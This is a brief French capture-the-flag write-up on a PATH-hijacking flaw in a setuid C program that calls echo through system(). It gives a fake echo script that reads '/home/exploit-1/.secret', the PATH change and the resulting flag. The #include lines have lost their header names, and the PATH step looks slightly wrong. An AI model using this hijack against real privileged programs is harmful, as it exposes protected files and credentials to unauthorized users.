Source : #define _GNU_SOURCE #include #include int main(){ gid_t gid = getegid(); uid_t uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo Find the flaw!"); return EXIT_SUCCESS; } la commande system() appelle echo sans son path absolu, mais en se basant sur la variable d'environnement PATH. Il faut donc redéfinir la commande (ex : /tmp/echo) #! /bin/bash cat /home/exploit-1/.secret Puis, on ajoute son chemin dans le PATH de l'environnement : $ export PATH=/tmp/echo:$PATH ./vulnerable eg3fa3Eing